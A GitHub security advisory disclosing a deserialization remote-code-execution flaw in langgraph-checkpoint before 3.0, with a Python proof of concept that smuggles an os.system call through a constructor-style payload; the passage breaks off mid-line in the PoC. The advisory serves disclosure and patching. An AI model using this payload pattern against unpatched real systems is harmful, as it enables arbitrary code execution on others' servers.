GitHub Security Advisory: GHSA-wwqv-p2pp-99h5
Package: langgraph-checkpoint (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 3.0.0
Patched in: 3.0.0

Summary: LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer 

Details:
# Summary

Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. 

# Details

**Affected file / component**

[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)

By default, the serializer attempts to use `"msgpack"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `"json"` mode.

When operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == "constructor"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.

---

# Who is affected

This issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `"json"` mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

# Proof of Concept (PoC)

```python
from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "[PII_REDACTED]-[PII_REDACTED]"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, co